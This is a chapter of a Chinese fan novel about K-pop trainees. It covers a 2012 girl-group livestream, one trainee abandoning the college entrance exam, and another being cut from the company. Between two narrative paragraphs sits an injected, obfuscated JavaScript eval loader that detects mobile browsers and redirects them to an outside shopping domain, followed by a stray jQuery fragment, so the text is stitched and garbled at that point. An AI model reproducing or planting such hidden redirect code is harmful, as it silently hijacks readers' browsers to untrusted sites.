入夏之后的气温上升得很快，空气里开始有一股总是闷着散不掉的湿热。
公司二楼的走廊这几天被各种粗黑的电线和临时脚架挤得水泄满患。方时赫这次做了一个相当大胆的尝试——除了和SBS合作录制常规的女团出道真人秀之外，还与Daum合作在大练习室里安装三台摄像机，搞一场无间断无剪辑的网络直播“GLAM 24 CAM”。
“都停一下！”新人开发部的工作人员敲响地下练习室的门，“二楼大练习室6月5号开始24小时直播。你们平时上洗手间、去制作室交作业，全部给我绕开二楼机位！谁要是闯进镜头把项目提前泄露了，直接扣月评成绩！”
“知道了——”
等工作人员离开，金泰亨一屁股坐在地板上，扯着背心领口往脖子里灌风，嘴里小声咕哝：“开着镜头跳一整天啊……那要是跳累了偷懒伸个懒腰抠个鼻子，岂不是全国上网的人都能看见？”
“所以让你这几天别往二楼凑。”金南俊靠在隔音海绵上，用脚尖踢了踢金泰亨的鞋底，“老老实实在这地下室里呆着。”
隔天下午，孙承德又给练习室带来了一个令人振奋的消息。
2AM的前辈赵权即将在六月下旬推出个人SOLO专辑《I'm Da One》。前辈前两天专门抽空考察了男练习生们的舞蹈，同意他们参与MV拍摄，还可以作为正式伴舞，登上三大电视台的打歌舞台。
“能跟着赵权前辈去电视台涨经验，对你们来说是再难得不过的机会。”孙老师拍了拍手，“都给我把精气神提起来！”
练习室里顿时响起一阵欢呼，田柾国和朴智旻眼睛里亮得冒光。对这群还没出道的孩子来说，能再一次有机会站上三大台的舞台，无疑是一剂强效的强心针。
然而，在六月初这个节点上，高三生们不得不面对另一场硬仗——六月全国模拟考试。这是高考前最具参考价值的一次全国统考，高三应届生和复读生一同参加。
成绩公布的那天下午，班主任把南宫川叫到了办公室。看着成绩单上理科综合和数学近乎满分的漂亮等级，老师脸上满是欣慰。南宫川的成绩稳如磐石，报考顶尖名校几乎是板上钉钉的事。
然而，另一边的金南俊，拿到成绩单时却陷入了长久的沉默。
这位曾经在模拟考里闯进过全国前1.3%的优等生，这次的各科排名出现了明显的下滑。
整个五月，因为不想错过参与GLAM出道幕后制作的机会，金南俊几乎天天熬在Pdogg的制作室里直到深夜四点。人的脑力和精力终究是有极限的，把大半心思砸进音乐里的后果，就是试卷上那些冰冷掉落的分数。
公司的安全通道楼梯间里，金南俊坐在水泥台阶上，手里紧紧贴着手机，声音沙哑得厉害：“妈……这次模考成绩下滑了，我知道。”金南俊低着头，手指无意识地抠着墙皮，“我想跟您商量一下……今年的高考，我打算放弃了。”
电话那头瞬间爆发出了母亲难以置信的惊呼与哽咽。对于一个把儿子培养成优等生的传统韩国家庭来说，听到“放弃高考”这四个字，简直就像是天塌了下来。
“我不是冲动，妈。我想明白了，我的脑子不可能同时分给两件事。”金南俊闭上眼睛，深深吸了一口气，“公司很快就要筹备我们的组合了，我如果两头占着，最后只会两头都做不好。再信我一次，行吗？”
南宫川背着书包从楼下走上来时，正好看见金南俊挂断电话后脱力般靠在墙上的样子。
金南俊听见脚步声，转过头苦笑了一下，把揉得变形的成绩单往口袋里塞了塞：“都听见了？”
南宫川在他旁边的台阶上坐了下来，顺手从书包侧兜拿出一瓶水递过去，开门见山：“真决定不考了？”
“嗯。”金南俊接过水咬开盖子，眼神里虽然带着几分愧疚，却极其清醒，“刚才跟我妈摊牌了。我试过两头兼顾，但每天凌晨从制作室出来的时候，脑子都是木的，第二天在课堂上连老师讲的断句都听不进去。与其两边都半吊子，不如先专注这边，如果失败了的话我再回去复读。”
南宫川没有说那些虚飘飘的安慰，只是顺着他的话点了点头，声音平静：“正常。人的精力本来就是有限的，你本来也不是为了考个公务员或者进大企业上班才留在这里的，歌词能写出来，比你在试卷上多拿那二十分有用。”
金南俊低头笑了笑，随即转过头，眼神落在了南宫川的书包上。
“阿川，你别光说我。”金南俊的声音低了下来，带着几分罕见的郑重，“你也是高三，虽然我们文理分科不同——你能一边刷题一边训练，这是你的本事。但你想过以后吗？”
南宫川顿了顿，没说话。
金南俊看着垂下眼睛的南宫川，“我今年放弃高考，是因为我把所有的退路都砍断了，但你不一样。如果到了明年，公司组合要出道，而你刚好拿到了首尔大的录取通知书……到时候你怎么选？”
楼道里一时陷入了沉默，只有感应灯微弱的电流声。
“你现在能游刃有余，是因为还没到必须二选一的临界点。”金南俊拍了拍南宫川的肩膀，语气温和却沉重，“作为同级，我佩服你的脑子；但作为队长，我希望你也能认真想一想——你到底是要把这里当成一个随时可以退出的避风港，还是真的准备跟我们一起，把人生押在这个看不见未来的赌桌上。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802698|210653||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过了很久，南宫川站起身，拍了拍裤子上的灰，神色重新恢复了平日里的冷淡，“你刚才问的问题，等公司真的能拿出一份正经的男团企划案再说吧。”
金南俊愣了一下，看着面前这个永远冷静自持的同龄人，突然低低地笑了一声，拍了拍南宫川的肩膀。
可还没等大家缓过神来，七月初的第一场暴雨，带来了极其沉重的一击。
随着GLAM的出道单曲和MV全部筹备完毕、日程安排就绪，公司高层的精力总算从女团那边抽了出来，重新落回了男练习生身上。
周五傍晚，例行月评的结果公布。新人开发部的工作人员推开地下练习室的铁门，面无表情地把金智勋叫出了房间。
半个小时后，金智勋一个人走了进来。他没有去拿毛巾，只是走到角落里默默拿起自己的水壶，顺手把挂在架子上的练功鞋装进袋子里。
“智旻啊，”金智勋把鞋袋系好，抬起头冲着旁边发呆的朴智旻笑了笑，眼睛里带点血丝，“我先回宿舍收拾行李了。”
这一句话，像是一把闸刀一样把练习室里的空气给切断了。
练习提前散了场。大家一言不发地收拾好东西，跟在智勋身后回到了宿舍。
狭窄的卧室里，金智勋正蹲在地上，把衣柜里的衣服一件件折好塞进拉杆箱里。金泰亨眼眶唰地一下就红了，几步冲过去一把抱住金智勋的肩膀，大声嚷着：“为什么啊？！哥跳得那么好，凭什么要搬走啊！”
田柾国低着头，眼泪噼里啪啦地往地板上砸。朴智旻也红着眼睛站在旁边，手指死死捏着衣角。那天晚上，大家围在茶几旁，吃着智勋买回来的冰淇淋，直到午夜智勋提着箱子消失在漆黑的楼道里。
门关上的那一刻，客厅里响起了极其压抑的抽泣声。
南宫川到窗前，看着楼下雨幕里智勋那个越走越远的小黑点，心里却缓缓升起了疑问：
‘公司的选拔标准到底是什么？’南宫川在心里问自己。
论外貌，智勋长相端正，完全符合南韩大众对爱豆的审美品味；论态度，智勋从不迟到早退，把所有时间都砸在了练习室里；论实力，他的歌舞在练习生里算得上中等偏上。可就是这样一个没有硬伤、全身心投入的人，却在今天被毫无征兆地清退了。
相反，再看自己。
他每天按时上下学，坚持刷题复习，在其他人眼里完全是个“两头占着、随时准备考大学走人”的异类。甚至在过往的考核里，他对公司某些的安排总是保持着敬而远之的态度。
可为什么，智勋被淘汰了，而公司高层却一直抓着自己不放？
这个问题像一根刺一样扎在南宫川的脑海里。